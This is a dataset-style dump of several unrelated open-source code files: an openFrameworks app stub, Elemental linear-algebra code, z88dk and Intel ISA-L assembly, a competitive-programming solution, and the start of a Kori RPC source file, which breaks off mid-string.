text
stringlengths
1
1.05M
#include "ofApp.h" //-------------------------------------------------------------- void ofApp::setup(){ } //-------------------------------------------------------------- void ofApp::update(){ } //-------------------------------------------------------------- void ofApp::draw(){ ImGui::ShowDemoWindow(); } //-------------------------------------------------------------- void ofApp::keyPressed(int key){ } //-------------------------------------------------------------- void ofApp::keyReleased(int key){ } //-------------------------------------------------------------- void ofApp::mouseMoved(int x, int y){ } //-------------------------------------------------------------- void ofApp::mouseDragged(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mousePressed(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseReleased(int x, int y, int button){ } //-------------------------------------------------------------- void ofApp::mouseEntered(int x, int y){ } //-------------------------------------------------------------- void ofApp::mouseExited(int x, int y){ } //-------------------------------------------------------------- void ofApp::windowResized(int w, int h){ } //-------------------------------------------------------------- void ofApp::gotMessage(ofMessage msg){ } //-------------------------------------------------------------- void ofApp::dragEvent(ofDragInfo dragInfo){ }
include "../../../src/common/struct.inc" // should error on nested fields namespace test { struct() namespace nest { struct() // ERROR endstruct() } endstruct() }
/* Copyright (c) 2009-2013, Jack Poulson All rights reserved. This file is part of Elemental and is under the BSD 2-Clause License, which can be found in the LICENSE file in the root directory, or at http://opensource.org/licenses/BSD-2-Clause */ #pragma once #ifndef BLAS_TWOSIDEDTRSM_LVAR3_HPP #define BLAS_TWOSIDEDTRSM_LVAR3_HPP #include "elemental/blas-like/level1/Axpy.hpp" #include "elemental/blas-like/level1/MakeHermitian.hpp" #include "elemental/blas-like/level1/MakeTriangular.hpp" #include "elemental/blas-like/level3/Gemm.hpp" #include "elemental/blas-like/level3/Hemm.hpp" #include "elemental/blas-like/level3/Her2k.hpp" #include "elemental/blas-like/level3/Trsm.hpp" #include "elemental/matrices/Zeros.hpp" namespace elem { namespace internal { template<typename F> inline void TwoSidedTrsmLVar3( UnitOrNonUnit diag, Matrix<F>& A, const Matrix<F>& L ) { #ifndef RELEASE CallStackEntry entry("internal::TwoSidedTrsmLVar3"); if( A.Height() != A.Width() ) throw std::logic_error("A must be square"); if( L.Height() != L.Width() ) throw std::logic_error("Triangular matrices must be square"); if( A.Height() != L.Height() ) throw std::logic_error("A and L must be the same size"); #endif // Matrix views Matrix<F> ATL, ATR, A00, A01, A02, ABL, ABR, A10, A11, A12, A20, A21, A22; Matrix<F> YTL, YTR, Y00, Y01, Y02, YBL, YBR, Y10, Y11, Y12, Y20, Y21, Y22; Matrix<F> LTL, LTR, L00, L01, L02, LBL, LBR, L10, L11, L12, L20, L21, L22; // We will use an entire extra matrix as temporary storage. If this is not // acceptable, use TwoSidedTrsmLVar4 instead. Matrix<F> Y; Zeros( Y, A.Height(), A.Width() ); PartitionDownDiagonal ( A, ATL, ATR, ABL, ABR, 0 ); PartitionDownDiagonal ( Y, YTL, YTR, YBL, YBR, 0 ); LockedPartitionDownDiagonal ( L, LTL, LTR, LBL, LBR, 0 ); while( ATL.Height() < A.Height() ) { RepartitionDownDiagonal ( ATL, /**/ ATR, A00, /**/ A01, A02, /*************/ /******************/ /**/ A10, /**/ A11, A12, ABL, /**/ ABR, A20, /**/ A21, A22 ); RepartitionDownDiagonal ( YTL, /**/ YTR, Y00, /**/ Y01, Y02, /*************/ /******************/ /**/ Y10, /**/ Y11, Y12, YBL, /**/ YBR, Y20, /**/ Y21, Y22 ); LockedRepartitionDownDiagonal ( LTL, /**/ LTR, L00, /**/ L01, L02, /*************/ /******************/ /**/ L10, /**/ L11, L12, LBL, /**/ LBR, L20, /**/ L21, L22 ); //--------------------------------------------------------------------// // A10 := A10 - 1/2 Y10 Axpy( F(-1)/F(2), Y10, A10 ); // A11 := A11 - (A10 L10' + L10 A10') Her2k( LOWER, NORMAL, F(-1), A10, L10, F(1), A11 ); // A11 := inv(L11) A11 inv(L11)' TwoSidedTrsmLUnb( diag, A11, L11 ); // A21 := A21 - A20 L10' Gemm( NORMAL, ADJOINT, F(-1), A20, L10, F(1), A21 ); // A21 := A21 inv(L11)' Trsm( RIGHT, LOWER, ADJOINT, diag, F(1), L11, A21 ); // A10 := A10 - 1/2 Y10 Axpy( F(-1)/F(2), Y10, A10 ); // A10 := inv(L11) A10 Trsm( LEFT, LOWER, NORMAL, diag, F(1), L11, A10 ); // Y20 := Y20 + L21 A10 Gemm( NORMAL, NORMAL, F(1), L21, A10, F(1), Y20 ); // Y21 := L21 A11 Hemm( RIGHT, LOWER, F(1), A11, L21, F(0), Y21 ); // Y21 := Y21 + L20 A10' Gemm( NORMAL, ADJOINT, F(1), L20, A10, F(1), Y21 ); //--------------------------------------------------------------------// SlidePartitionDownDiagonal ( ATL, /**/ ATR, A00, A01, /**/ A02, /**/ A10, A11, /**/ A12, /*************/ /******************/ ABL, /**/ ABR, A20, A21, /**/ A22 ); SlidePartitionDownDiagonal ( YTL, /**/ YTR, Y00, Y01, /**/ Y02, /**/ Y10, Y11, /**/ Y12, /*************/ /******************/ YBL, /**/ YBR, Y20, Y21, /**/ Y22 ); SlideLockedPartitionDownDiagonal ( LTL, /**/ LTR, L00, L01, /**/ L02, /**/ L10, L11, /**/ L12, /**********************************/ LBL, /**/ LBR, L20, L21, /**/ L22 ); } } template<typename F> inline void TwoSidedTrsmLVar3 ( UnitOrNonUnit diag, DistMatrix<F>& A, const DistMatrix<F>& L ) { #ifndef RELEASE CallStackEntry entry("internal::TwoSidedTrsmLVar3"); if( A.Height() != A.Width() ) throw std::logic_error("A must be square"); if( L.Height() != L.Width() ) throw std::logic_error("Triangular matrices must be square"); if( A.Height() != L.Height() ) throw std::logic_error("A and L must be the same size"); #endif const Grid& g = A.Grid(); // Matrix views DistMatrix<F> ATL(g), ATR(g), A00(g), A01(g), A02(g), ABL(g), ABR(g), A10(g), A11(g), A12(g), A20(g), A21(g), A22(g); DistMatrix<F> YTL(g), YTR(g), Y00(g), Y01(g), Y02(g), YBL(g), YBR(g), Y10(g), Y11(g), Y12(g), Y20(g), Y21(g), Y22(g); DistMatrix<F> LTL(g), LTR(g), L00(g), L01(g), L02(g), LBL(g), LBR(g), L10(g), L11(g), L12(g), L20(g), L21(g), L22(g); // Temporary distributions DistMatrix<F,STAR,MR > A11_STAR_MR(g); DistMatrix<F,STAR,STAR> A11_STAR_STAR(g); DistMatrix<F,VC, STAR> A21_VC_STAR(g); DistMatrix<F,STAR,VR > A10_STAR_VR(g); DistMatrix<F,STAR,MR > A10_STAR_MR(g); DistMatrix<F,STAR,STAR> L11_STAR_STAR(g); DistMatrix<F,STAR,VR > L10_STAR_VR(g); DistMatrix<F,STAR,MR > L10_STAR_MR(g); DistMatrix<F,MC, STAR> L21_MC_STAR(g); DistMatrix<F,STAR,STAR> X11_STAR_STAR(g); DistMatrix<F,MC, STAR> X21_MC_STAR(g); DistMatrix<F,MC, STAR> Z21_MC_STAR(g); // We will use an entire extra matrix as temporary storage. If this is not // acceptable, use TwoSidedTrsmLVar4 instead. DistMatrix<F> Y(g); Y.AlignWith( A ); Zeros( Y, A.Height(), A.Width() ); PartitionDownDiagonal ( A, ATL, ATR, ABL, ABR, 0 ); PartitionDownDiagonal ( Y, YTL, YTR, YBL, YBR, 0 ); LockedPartitionDownDiagonal ( L, LTL, LTR, LBL, LBR, 0 ); while( ATL.Height() < A.Height() ) { RepartitionDownDiagonal ( ATL, /**/ ATR, A00, /**/ A01, A02, /*************/ /******************/ /**/ A10, /**/ A11, A12, ABL, /**/ ABR, A20, /**/ A21, A22 ); RepartitionDownDiagonal ( YTL, /**/ YTR, Y00, /**/ Y01, Y02, /*************/ /******************/ /**/ Y10, /**/ Y11, Y12, YBL, /**/ YBR, Y20, /**/ Y21, Y22 ); LockedRepartitionDownDiagonal ( LTL, /**/ LTR, L00, /**/ L01, L02, /*************/ /******************/ /**/ L10, /**/ L11, L12, LBL, /**/ LBR, L20, /**/ L21, L22 ); A11_STAR_MR.AlignWith( Y21 ); A21_VC_STAR.AlignWith( A21 ); A10_STAR_VR.AlignWith( A10 ); A10_STAR_MR.AlignWith( A10 ); L10_STAR_VR.AlignWith( A10 ); L10_STAR_MR.AlignWith( A10 ); L21_MC_STAR.AlignWith( Y21 ); X21_MC_STAR.AlignWith( A20 ); Z21_MC_STAR.AlignWith( L20 ); //--------------------------------------------------------------------// // A10 := A10 - 1/2 Y10 Axpy( F(-1)/F(2), Y10, A10 ); // A11 := A11 - (A10 L10' + L10 A10') A10_STAR_VR = A10; L10_STAR_VR = L10; Zeros( X11_STAR_STAR, A11.Height(), A11.Width() ); Her2k ( LOWER, NORMAL, F(1), A10_STAR_VR.Matrix(), L10_STAR_VR.Matrix(), F(0), X11_STAR_STAR.Matrix() ); MakeTriangular( LOWER, X11_STAR_STAR ); A11.SumScatterUpdate( F(-1), X11_STAR_STAR ); // A11 := inv(L11) A11 inv(L11)' A11_STAR_STAR = A11; L11_STAR_STAR = L11; LocalTwoSidedTrsm( LOWER, diag, A11_STAR_STAR, L11_STAR_STAR ); A11 = A11_STAR_STAR; // A21 := A21 - A20 L10' L10_STAR_MR = L10_STAR_VR; LocalGemm( NORMAL, ADJOINT, F(1), A20, L10_STAR_MR, X21_MC_STAR ); A21.SumScatterUpdate( F(-1), X21_MC_STAR ); // A21 := A21 inv(L11)' A21_VC_STAR = A21; LocalTrsm ( RIGHT, LOWER, ADJOINT, diag, F(1), L11_STAR_STAR, A21_VC_STAR ); A21 = A21_VC_STAR; // A10 := A10 - 1/2 Y10 Axpy( F(-1)/F(2), Y10, A10 ); // A10 := inv(L11) A10 A10_STAR_VR = A10; LocalTrsm ( LEFT, LOWER, NORMAL, diag, F(1), L11_STAR_STAR, A10_STAR_VR ); // Y20 := Y20 + L21 A10 A10_STAR_MR = A10_STAR_VR; A10 = A10_STAR_MR; L21_MC_STAR = L21; LocalGemm( NORMAL, NORMAL, F(1), L21_MC_STAR, A10_STAR_MR, F(1), Y20 ); // Y21 := L21 A11 MakeHermitian( LOWER, A11_STAR_STAR ); A11_STAR_MR = A11_STAR_STAR; LocalGemm( NORMAL, NORMAL, F(1), L21_MC_STAR, A11_STAR_MR, F(0), Y21 ); // Y21 := Y21 + L20 A10' LocalGemm( NORMAL, ADJOINT, F(1), L20, A10_STAR_MR, Z21_MC_STAR ); Y21.SumScatterUpdate( F(1), Z21_MC_STAR ); //--------------------------------------------------------------------// A11_STAR_MR.FreeAlignments(); A21_VC_STAR.FreeAlignments(); A10_STAR_VR.FreeAlignments(); A10_STAR_MR.FreeAlignments(); L10_STAR_VR.FreeAlignments(); L10_STAR_MR.FreeAlignments(); L21_MC_STAR.FreeAlignments(); X21_MC_STAR.FreeAlignments(); Z21_MC_STAR.FreeAlignments(); SlidePartitionDownDiagonal ( ATL, /**/ ATR, A00, A01, /**/ A02, /**/ A10, A11, /**/ A12, /*************/ /******************/ ABL, /**/ ABR, A20, A21, /**/ A22 ); SlidePartitionDownDiagonal ( YTL, /**/ YTR, Y00, Y01, /**/ Y02, /**/ Y10, Y11, /**/ Y12, /*************/ /******************/ YBL, /**/ YBR, Y20, Y21, /**/ Y22 ); SlideLockedPartitionDownDiagonal ( LTL, /**/ LTR, L00, L01, /**/ L02, /**/ L10, L11, /**/ L12, /**********************************/ LBL, /**/ LBR, L20, L21, /**/ L22 ); } } } // namespace internal } // namespace elem #endif // ifndef BLAS_TWOSIDEDTRSM_LVAR3_HPP
; A couple of routines for +3 library ; Routine to call +3DOS Routines. Located in startup ; code to ensure we don't get paged out ; (These routines have to be below 49152) ; ; djm 17/3/2000 (after the manual!) ; ; $Id: dodos.asm,v 1.3 2016-03-07 13:44:48 dom Exp $ SECTION code_driver PUBLIC dodos EXTERN l_push_di EXTERN l_pop_ei EXTERN l_jpiy dodos: call dodos2 ;dummy routine to restore iy afterwards ld iy,23610 ret dodos2: push af push bc ld a,7 ld bc,32765 call l_push_di ld (23388),a out (c),a call l_pop_ei pop bc pop af call l_jpiy push af push bc ld a,16 ld bc,32765 call l_push_di ld (23388),a out (c),a call l_pop_ei pop bc pop af ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2018 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %include "reg_sizes.asm" %include "lz0a_const.asm" %include "data_struct2.asm" %include "igzip_compare_types.asm" %define NEQ 4 %ifdef HAVE_AS_KNOWS_AVX512 %ifidn __OUTPUT_FORMAT__, win64 %define arg1 rcx %define arg2 rdx %define arg3 r8 %define arg4 r9 %define len rdi %define dist rsi %else %define arg1 rdi %define arg2 rsi %define arg3 rdx %define arg4 rcx %define len r8 %define dist r9 %endif %define next_in arg1 %define end_processed arg2 %define end_in arg3 %define match_lookup arg4 %define match_in rax %define match_offset r10 %define tmp1 r11 %define end_processed_orig r12 %define dist_code r13 %define tmp2 r13 %define zmatch_lookup zmm0 %define zmatch_lookup2 zmm1 %define zlens zmm2 %define zdist_codes zmm3 %define zdist_extras zmm4 %define zdists zmm5 %define zdists2 zmm6 %define zlens1 zmm7 %define zlens2 zmm8 %define zlookup zmm9 %define zlookup2 zmm10 %define datas zmm11 %define ztmp1 zmm12 %define ztmp2 zmm13 %define zvect_size zmm16 %define zmax_len zmm17 %define ztwofiftyfour zmm18 %define ztwofiftysix zmm19 %define ztwosixtytwo zmm20 %define znlen_mask zmm21 %define zbswap zmm22 %define zqword_shuf zmm23 %define zdatas_perm3 zmm24 %define zdatas_perm2 zmm25 %define zincrement zmm26 %define zdists_mask zmm27 %define zdists_start zmm28 %define zlong_lens2 zmm29 %define zlong_lens zmm30 %define zlens_mask zmm31 %ifidn __OUTPUT_FORMAT__, win64 %define stack_size 8*16 + 4 * 8 + 8 %define func(x) proc_frame x %macro FUNC_SAVE 0 alloc_stack stack_size vmovdqa [rsp + 0*16], xmm6 vmovdqa [rsp + 1*16], xmm7 vmovdqa [rsp + 2*16], xmm8 vmovdqa [rsp + 3*16], xmm9 vmovdqa [rsp + 4*16], xmm10 vmovdqa [rsp + 5*16], xmm11 vmovdqa [rsp + 6*16], xmm12 vmovdqa [rsp + 7*16], xmm13 save_reg rsi, 8*16 + 0*8 save_reg rdi, 8*16 + 1*8 save_reg r12, 8*16 + 2*8 save_reg r13, 8*16 + 3*8 end_prolog %endm %macro FUNC_RESTORE 0 vmovdqa xmm6, [rsp + 0*16] vmovdqa xmm7, [rsp + 1*16] vmovdqa xmm8, [rsp + 2*16] vmovdqa xmm9, [rsp + 3*16] vmovdqa xmm10, [rsp + 4*16] vmovdqa xmm11, [rsp + 5*16] vmovdqa xmm12, [rsp + 6*16] vmovdqa xmm13, [rsp + 7*16] mov rsi, [rsp + 8*16 + 0*8] mov rdi, [rsp + 8*16 + 1*8] mov r12, [rsp + 8*16 + 2*8] mov r13, [rsp + 8*16 + 3*8] add rsp, stack_size %endm %else %define func(x) x: %macro FUNC_SAVE 0 push r12 push r13 %endm %macro FUNC_RESTORE 0 pop r13 pop r12 %endm %endif %define VECT_SIZE 16 [bits 64] default rel section .text global set_long_icf_fg_06 func(set_long_icf_fg_06) FUNC_SAVE lea end_in, [next_in + arg3] add end_processed, next_in mov end_processed_orig, end_processed lea tmp1, [end_processed + LA_STATELESS] cmp end_in, tmp1 cmovg end_in, tmp1 sub end_processed, 15 vpbroadcastd zlong_lens, [long_len] vpbroadcastd zlong_lens2, [long_len2] vpbroadcastd zlens_mask, [len_mask] vmovdqu16 zdists_start, [dist_start] vpbroadcastd zdists_mask, [dists_mask] vmovdqu32 zincrement, [increment] vbroadcasti64x2 zdatas_perm2, [datas_perm2] vbroadcasti64x2 zdatas_perm3, [datas_perm3] vmovdqu64 zqword_shuf, [qword_shuf] vbroadcasti64x2 zbswap, [bswap_shuf] vpbroadcastd znlen_mask, [nlen_mask] vpbroadcastd zvect_size, [vect_size] vpbroadcastd zmax_len, [max_len] vpbroadcastd ztwofiftyfour, [twofiftyfour] vpbroadcastd ztwofiftysix, [twofiftysix] vpbroadcastd ztwosixtytwo, [twosixtytwo] vmovdqu32 zmatch_lookup, [match_lookup] .fill_loop: ; Tahiti is a magical place vmovdqu32 zmatch_lookup2, zmatch_lookup vmovdqu32 zmatch_lookup, [match_lookup + ICF_CODE_BYTES * VECT_SIZE] cmp next_in, end_processed jae .end_fill .finish_entry: vpandd zlens, zmatch_lookup2, zlens_mask vpcmpgtd k3, zlens, zlong_lens ;; Speculatively increment add next_in, VECT_SIZE add match_lookup, ICF_CODE_BYTES * VECT_SIZE ktestw k3, k3 jz .fill_loop vpsrld zdist_codes, zmatch_lookup2, DIST_OFFSET vpmovdw zdists %+ y, zdist_codes ; Relies on perm working mod 32 vpermw zdists, zdists, zdists_start vpmovzxwd zdists, zdists %+ y vpsrld zdist_extras, zmatch_lookup2, EXTRA_BITS_OFFSET vpsubd zdist_extras, zincrement, zdist_extras vpsubd zdists, zdist_extras, zdists vextracti32x8 zdists2 %+ y, zdists, 1 kmovb k6, k3 kshiftrw k7, k3, 8 vpgatherdq zlens1 {k6}, [next_in + zdists %+ y - 8] vpgatherdq zlens2 {k7}, [next_in + zdists2 %+ y - 8] vmovdqu8 datas %+ y, [next_in - 8] vpermq zlookup, zdatas_perm2, datas vpshufb zlookup, zlookup, zqword_shuf vpermq zlookup2, zdatas_perm3, datas vpshufb zlookup2, zlookup2, zqword_shuf vpxorq zlens1, zlens1, zlookup vpxorq zlens2, zlens2, zlookup2 vpshufb zlens1, zlens1, zbswap vpshufb zlens2, zlens2, zbswap vplzcntq zlens1, zlens1 vplzcntq zlens2, zlens2 vpmovqd zlens1 %+ y, zlens1 vpmovqd zlens2 %+ y, zlens2 vinserti32x8 zlens1, zlens2 %+ y, 1 vpsrld zlens1 {k3}{z}, zlens1, 3 vpandd zmatch_lookup2 {k3}{z}, zmatch_lookup2, znlen_mask vpaddd zmatch_lookup2 {k3}{z}, zmatch_lookup2, ztwosixtytwo vpaddd zmatch_lookup2 {k3}{z}, zmatch_lookup2, zlens1 vmovdqu32 [match_lookup - ICF_CODE_BYTES * VECT_SIZE] {k3}, zmatch_lookup2 vpcmpgtd k3, zlens1, zlong_lens2 ktestw k3, k3 jz .fill_loop vpsubd zdists, zincrement, zdists vpcompressd zdists2 {k3}, zdists vpcompressd zmatch_lookup2 {k3}, zmatch_lookup2 kmovq match_offset, k3 tzcnt match_offset, match_offset vmovd dist %+ d, zdists2 %+ x lea next_in, [next_in + match_offset - VECT_SIZE] lea match_lookup, [match_lookup + ICF_CODE_BYTES * (match_offset - VECT_SIZE)] mov match_in, next_in sub match_in, dist mov len, 16 mov tmp2, end_in sub tmp2, next_in compare_z next_in, match_in, len, tmp2, tmp1, k3, ztmp1, ztmp2 vpbroadcastd zlens1, len %+ d vpsubd zlens1, zlens1, zincrement vpaddd zlens1, zlens1, ztwofiftyfour mov tmp2, end_processed sub tmp2, next_in cmp len, tmp2 cmovg len, tmp2 add next_in, len lea match_lookup, [match_lookup + ICF_CODE_BYTES * len] vmovdqu32 zmatch_lookup, [match_lookup] vpbroadcastd zmatch_lookup2, zmatch_lookup2 %+ x vpandd zmatch_lookup2, zmatch_lookup2, znlen_mask neg len .update_match_lookup: vpandd zlens2, zlens_mask, [match_lookup + ICF_CODE_BYTES * len] vpcmpgtd k3, zlens1, zlens2 vpcmpgtd k4, zlens1, ztwofiftysix kandw k3, k3, k4 vpcmpgtd k4, zlens1, zmax_len vmovdqu32 zlens, zlens1 vmovdqu32 zlens {k4}, zmax_len vpaddd zlens2 {k3}{z}, zlens, zmatch_lookup2 vmovdqu32 [match_lookup + ICF_CODE_BYTES * len] {k3}, zlens2 knotw k3, k3 ktestw k3, k3 jnz .fill_loop add len, VECT_SIZE vpsubd zlens1, zlens1, zvect_size jmp .update_match_lookup .end_fill: mov end_processed, end_processed_orig cmp next_in, end_processed jge .finish mov tmp1, end_processed sub tmp1, next_in vpbroadcastd ztmp1, tmp1 %+ d vpcmpd k3, ztmp1, zincrement, 6 vmovdqu32 zmatch_lookup2 {k3}{z}, zmatch_lookup2 jmp .finish_entry .finish: FUNC_RESTORE ret endproc_frame section .data align 64 ;; 64 byte data dist_start: dw 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0007, 0x0009, 0x000d dw 0x0011, 0x0019, 0x0021, 0x0031, 0x0041, 0x0061, 0x0081, 0x00c1 dw 0x0101, 0x0181, 0x0201, 0x0301, 0x0401, 0x0601, 0x0801, 0x0c01 dw 0x1001, 0x1801, 0x2001, 0x3001, 0x4001, 0x6001, 0x0000, 0x0000 qword_shuf: db 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7 db 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8 db 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9 db 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa db 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb db 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc db 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd db 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe db 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf ;; 16 byte data increment: dd 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7 dd 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf datas_perm2: dq 0x0, 0x1 datas_perm3: dq 0x1, 0x2 bswap_shuf: db 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01, 0x00 db 0x0f, 0x0e, 0x0d, 0x0c, 0x0b, 0x0a, 0x09, 0x08 ;; 4 byte data len_mask: dd LIT_LEN_MASK dists_mask: dd LIT_DIST_MASK long_len: dd 0x105 long_len2: dd 0x7 max_len: dd 0xfe + 0x102 vect_size: dd VECT_SIZE twofiftyfour: dd 0xfe twofiftysix: dd 0x100 twosixtytwo: dd 0x106 nlen_mask: dd 0xfffffc00 %endif
#include <bits/stdc++.h> using namespace std; typedef long double ld; typedef long long int ll; vector<vector<ll>> adjlist; ll max(ll x, ll y) { return (x > y) ? x : y; } ll min(ll x, ll y) { return (x > y) ? y : x; } #define sfor(a, n, i) for (ll i = a; i < n; i++) #define rfor(n, a, i) for (ll i = n; i >= a; i--) #define mod 1000000007 #define pb push_back #define in insert #define mp make_pair #define inf mod #define bg begin() #define ed end() #define sz size() #define vi vector<ll> #define vc vector<char> #define vinv vector<vector<ll, ll>> #define imap map<ll, ll> #define cmap map<char, ll> #define smap map<string, ll> #define iset set<ll> #define bit(x, i) (x & (1 << i)) int Solution::paint(int a, int b, vector<int> &c) { int n = c.size(); int mas = 0;ll sum=0; sfor(0, n, i) { if (c[i] > mas) { mas = c[i]; } sum += c[i]; } if (n <= a) { return ((mas%10000003)*(b%10000003))%10000003; } ll low = b, high, ans, mid, paintersUsed; high = sum; sum = 0; while (low < high) { mid = (low + high) / 2; paintersUsed = 0; int i,painted=0; for (i = 0; i < n; i++) { if (sum + c[i] <= mid) { sum += c[i]; painted++; } else if (paintersUsed < a) { sum = c[i]; paintersUsed++; painted++; } else { break; } } if (i < n){ if(painted==n){ high=mid; } else{ low=mid+1; } } else if(painted==n){ high=mid; } else{ low=mid+1; } } return ((low%10000003)*(b%10000003))%10000003; } int main() { return 0; }
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2016 The Kori Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <base58.h> #include <chain.h> #include <clientversion.h> #include <core_io.h> #include <crypto/ripemd160.h> #include <init.h> #include <validation.h> #include <httpserver.h> #include <net.h> #include <netbase.h> #include <rpc/blockchain.h> #include <rpc/server.h> #include <timedata.h> #include <util.h> #include <utilstrencodings.h> #ifdef ENABLE_WALLET #include <wallet/rpcwallet.h> #include <wallet/wallet.h> #include <wallet/walletdb.h> #endif #include <warnings.h> #include <stdint.h> #ifdef HAVE_MALLOC_INFO #include <malloc.h> #endif #include <univalue.h> #ifdef ENABLE_WALLET class DescribeAddressVisitor : public boost::static_visitor<UniValue> { public: CWallet * const pwallet; explicit DescribeAddressVisitor(CWallet *_pwallet) : pwallet(_pwallet) {} UniValue operator()(const CNoDestination &dest) const { return UniValue(UniValue::VOBJ); } UniValue operator()(const CKeyID &keyID) const { UniValue obj(UniValue::VOBJ); CPubKey vchPubKey; obj.push_back(Pair("isscript", false)); obj.push_back(Pair("iswitness", false)); if (pwallet && pwallet->GetPubKey(keyID, vchPubKey)) { obj.push_back(Pair("pubkey", HexStr(vchPubKey))); obj.push_back(Pair("iscompressed", vchPubKey.IsCompressed())); } return obj; } UniValue operator()(const CScriptID &scriptID) const { UniValue obj(UniValue::VOBJ); CScript subscript; obj.push_back(Pair("isscript", true)); obj.push_back(Pair("iswitness", false)); if (pwallet && pwallet->GetCScript(scriptID, subscript)) { std::vector<CTxDestination> addresses; txnouttype whichType; int nRequired; ExtractDestinations(subscript, whichType, addresses, nRequired); obj.push_back(Pair("script", GetTxnOutputType(whichType))); obj.push_back(Pair("hex", HexStr(subscript.begin(), subscript.end()))); UniValue a(UniValue::VARR); for (const CTxDestination& addr : addresses) { a.push_back(EncodeDestination(addr)); } obj.push_back(Pair("addresses", a)); if (whichType == TX_MULTISIG) obj.push_back(Pair("sigsrequired", nRequired)); } return obj; } UniValue operator()(const WitnessV0KeyHash& id) const { UniValue obj(UniValue::VOBJ); CPubKey pubkey; obj.push_back(Pair("isscript", false)); obj.push_back(Pair("iswitness", true)); obj.push_back(Pair("witness_version", 0)); obj.push_back(Pair("witness_program", HexStr(id.begin(), id.end()))); if (pwallet && pwallet->GetPubKey(CKeyID(id), pubkey)) { obj.push_back(Pair("pubkey", HexStr(pubkey))); } return obj; } UniValue operator()(const WitnessV0ScriptHash& id) const { UniValue obj(UniValue::VOBJ); CScript subscript; obj.push_back(Pair("isscript", true)); obj.push_back(Pair("iswitness", true)); obj.push_back(Pair("witness_version", 0)); obj.push_back(Pair("witness_program", HexStr(id.begin(), id.end()))); CRIPEMD160 hasher; uint160 hash; hasher.Write(id.begin(), 32).Finalize(hash.begin()); if (pwallet && pwallet->GetCScript(CScriptID(hash), subscript)) { obj.push_back(Pair("hex", HexStr(subscript.begin(), subscript.end()))); } return obj; } UniValue operator()(const WitnessUnknown& id) const { UniValue obj(UniValue::VOBJ); CScript subscript; obj.push_back(Pair("iswitness", true)); obj.push_back(Pair("witness_version", (int)id.version)); obj.push_back(Pair("witness_program", HexStr(id.program, id.program + id.length))); return obj; } }; #endif UniValue validateaddress(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "validateaddress \"address\"\n" "\nReturn information about the given kori address.\n" "\nArguments:\n" "1. \"address\" (string, required) The kori address to validate\n" "\nResult:\n" "{\n" " \"isvalid\" : true|false, (boolean) If the address is valid or not. If not, this is the only property returned.\n" " \"address\" : \"address\", (string) The kori address validated\n" " \"scriptPubKey\" : \"hex\", (string) The hex encoded scriptPubKey generated by the address\n" " \"ismine\" : true|false, (boolean) If the address is yours or not\n" " \"iswatchonly\" : true|false, (boolean) If the address is watchonly\n" " \"isscript\" : true|false, (boolean) If the key is a script\n" " \"script\" : \"type\" (string, optional) The output script type. Possible types: nonstandard, pubkey, pubkeyhash, scripthash, multisig, nulldata, witness_v0_keyhash, witness_v0_scripthash\n" " \"hex\" : \"hex\", (string, optional) The redeemscript for the p2sh address\n" " \"addresses\" (string, optional) Array of addresses associated with the known redeemscript\n" " [\n" " \"address\"\n" " ,...\n" " ]\n" " \"sigsrequired\" : xxxxx (numeric, optional) Number of signatures required to spend multisig output\n" " \"pubkey\" : \"publickeyhex\", (string) The hex value of the raw public key\n" " \"iscompressed\" : true|false, (boolean) If the address is compressed\n" " \"account\" : \"account\" (string) DEPRECATED. The account associated with the address, \"\" is the default account\n" " \"timestamp\" : timestamp, (number, optional) The creation time of the key if available in seconds since epoch (Jan 1 1970 GMT)\n" " \"hdkeypath\" : \"keypath\" (string, optional) The HD keypath if the key is HD and available\n" " \"hdmasterkeyid\" : \"<hash160>\" (string, optional) The 